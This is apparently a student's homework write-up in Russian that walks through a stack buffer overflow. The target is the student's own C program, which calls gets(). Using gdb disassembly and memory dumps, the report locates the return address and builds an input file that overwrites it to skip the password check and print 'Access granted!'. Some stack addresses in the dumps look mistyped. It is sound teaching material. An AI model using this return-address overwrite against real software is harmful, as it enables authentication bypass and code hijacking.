

Пункт №1: выполнен в предыдущем домашнем задании по структурам [<https://github.com/Liswiera/eltex-embedded-c-homework/tree/main/homework-4-structures>]

Пункт №2:

Компиляция исполняемого файла:

```
vadim@vadim-PC:~/Projects/C/eltex-embedded-c-homework/homework-5-functions$ make
mkdir obj
gcc -Wall -fno-stack-protector -no-pie -c src/main.c -o obj/main.o
src/main.c: In function 'IsPassOk':
src/main.c:26:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
  26 |     gets(Pass);
     |     ^
     |     fgets
mkdir bin
gcc -Wall -fno-stack-protector -no-pie obj/main.o -o bin/main
/usr/bin/ld: obj/main.o: in function `IsPassOk':
main.c(.text+0x71): warning: the `gets' function is dangerous and should not be used.
```

Запуск gdb:

```
vadim@vadim-PC:~/Projects/C/eltex-embedded-c-homework/homework-5-functions$ gdb ./bin/main
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bin/main...
(No debugging symbols found in ./bin/main)
(gdb) █
```

Анализ дезассемблированного листинга функции main() через tui layout
asm:

```
0x401196 <main>      endbr64
0x40119a <main+4>      push   rbp
0x40119b <main+5>      mov    rbp, rsp
0x40119e <main+8>      sub    rsp, 0x10
0x4011a2 <main+12>     lea    rax, [rip+0xe5b]      # 0x402004
0x4011a9 <main+19>     mov    rdi, rax
0x4011ac <main+22>     call   0x401070 <puts@plt>
0x4011b1 <main+27>     call   0x4011ee <IsPassOk>    ← Вызов функции с уязвимостью Buffer Overflow
0x4011b6 <main+32>     mov    DWORD PTR [rbp-0x4], eax
0x4011b9 <main+35>     cmp    DWORD PTR [rbp-0x4], 0x0
0x4011bd <main+39>     jne    0x4011d8 <main+66>
0x4011bf <main+41>     lea    rax, [rip+0xe4e]      # 0x402014
0x4011c6 <main+48>     mov    rdi, rax
0x4011c9 <main+51>     call   0x401070 <puts@plt>
0x4011ce <main+56>     mov    edi, 0x1
0x4011d3 <main+61>     call   0x4010a0 <exit@plt>
0x4011d8 <main+66>     lea    rax, [rip+0xe43]      # 0x402022
0x4011df <main+73>     mov    rdi, rax
0x4011e2 <main+76>     call   0x401070 <puts@plt>    ← printf("Access granted!\n");
0x4011e7 <main+81>     mov    eax, 0x0
0x4011ec <main+86>     leave 
0x4011ed <main+87>     ret
```

Адрес, на который мы хотим попасть (т.е. поместить значение этого адреса в регистр rip) после возврата из функции IsPassOk()

Анализ функции IsPassOk():

```
0x4011ee <IsPassOk>    endbr64
0x4011f2 <IsPassOk+4>    push   rbp
0x4011f3 <IsPassOk+5>    mov    rbp, rsp
0x4011f6 <IsPassOk+8>    sub    rsp, 0x10
0x4011fa <IsPassOk+12>   lea    rax, [rbp-0xc]
0x4011fe <IsPassOk+16>   mov    rdi, rax
0x401201 <IsPassOk+19>   mov    eax, 0x0
0x401206 <IsPassOk+24>   call   0x401090 <gets@plt>
0x40120b <IsPassOk+29>   lea    rax, [rbp-0xc]
0x40120f <IsPassOk+33>   lea    rdx, [rip+0xe1c]
0x401216 <IsPassOk+40>   mov    rsi, rdx
0x401219 <IsPassOk+43>   mov    rdi, rax
0x40121c <IsPassOk+46>   call   0x401080 <strcmp@plt>
0x401221 <IsPassOk+51>   test   eax, eax
0x401223 <IsPassOk+53>   sete   al
0x401226 <IsPassOk+56>   movzx  eax, al
0x401229 <IsPassOk+59>   leave 
0x40122a <IsPassOk+60>   ret
```

Вызов небезопасной функции gets(). При помощи данной функции имеется возможность записать совершенно произвольное количество байтов начиная с адреса [rbp-0xC] вплоть до адреса возврата в функцию main(), расположенного в [rbp+0x8].

Состояние стека перед вызовом функции gets():

```
B+>0x401206 <IsPassOk+24> call  0x401090 <gets@plt>
0x40120b <IsPassOk+29>  lea   rax,[rbp-0xc]
0x40120f <IsPassOk+33>  lea   rdx,[rip+0xe1c]      # 0x402032
0x401216 <IsPassOk+40>  mov   rsi,rdx
0x401219 <IsPassOk+43>  mov   rdi,rax
```

multi-thread Thread 0x7ffff7f8c7 (asm) In: IsPassOk

```
(gdb) cont
Continuing.
Enter password:
Breakpoint 2, 0x0000000000401206 in IsPassOk ()
(gdb) x/64xb $esp
0xfffffffda90: Cannot access memory at address 0xffffffffffffda90
(gdb) x/64xb $rsp
0x7fffffd90: 0x00 0x3e 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffd98: 0x00 0xd0 0xff 0xf7 0xff 0x7f 0x00 0x00
0x7fffffd9a0: 0xc0 0xda 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffd9a8: 0xb6 0x11 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffdab0: 0xa0 0xdb 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffdab8: 0xe8 0xdb 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffdac0: 0x60 0xdb 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffdac8: 0xca 0xa1 0xc2 0xf7 0xff 0x7f 0x00 0x00
(gdb) p $rbp
$1 = (void *) 0x7fffffd9a0
(gdb)
```

Буфер char[12], расположенный в локальных данных функции IsPassOK().
Сохранённый адрес возврата в функцию main().

Для того, чтобы на консоль вывелося «Access granted!», мы можем ввести определённую последовательность байтов через стандартный поток ввода, тем самым перезаписать адрес возврата 0x4011b6 на 0x4011d8 (вместе с этим при этом возможно сохранённое значение rbp функции main может перезаписаться на другое некорректное значение, которое может привести к Segmentation Fault при дальнейшем использовании регистра rbp в самой функции main).

Данные для ввода можно задать следующим образом: первые 12 байтов - произвольные (для заполнения буфера char[12]), затем ещё 8 байтов, которые перезапишут сохранённый rbp, и уже после этого добавить 3 следующих байта: 0xd8, 0x11, 0x40. Функция gets() добавит ещё один нулевой байт, который будет совпадать с нулевым значением 4-го байта адреса возврата, поэтому в результате адрес возврата будет заменён на 0x4011d8.

Создадим следующий файл с заданной нами заранее последовательностью байтов для дальнейшего его перенаправления в stdin:

```
$ echo -e '123412341234\xc0\xda\xff\xff\xff\x7f\x00\x00\xd8\x11\x40' >
./data/input_bytes
```

Запустим программу, перенаправив стандартный поток ввода:

```
(gdb) run < ./data/input_bytes
Starting program: /home/vadim/Projects/C/eltex-embedded-c-homework/homework-5-functions/bin/main < ./data/input_bytes
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter password:

Breakpoint 2, 0x0000000000401206 in IsPassOk ()
(gdb) ni
0x000000000040120b in IsPassOk ()
(gdb) x/64xb $rsp
0x7fffffffda90: 0x00 0x3e 0x40 0x00 0x31 0x32 0x33 0x34
0x7fffffffda98: 0x31 0x32 0x33 0x34 0x31 0x32 0x33 0x34
0x7fffffffdaa0: 0xc0 0xda 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdaa8: 0xd8 0x11 0x40 0x00 0x00 0x00 0x00 0x00 ← Новый адрес возврата
0x7fffffffdb0: 0xa0 0xdb 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdb8: 0xe8 0xdb 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdac0: 0x60 0xdb 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdac8: 0xca 0xa1 0xc2 0xf7 0xff 0x7f 0x00 0x00
(gdb) cont
Continuing.
Access granted! ← Сообщение результата работы программы
[Inferior 1 (process 84036) exited normally]
(gdb) █
```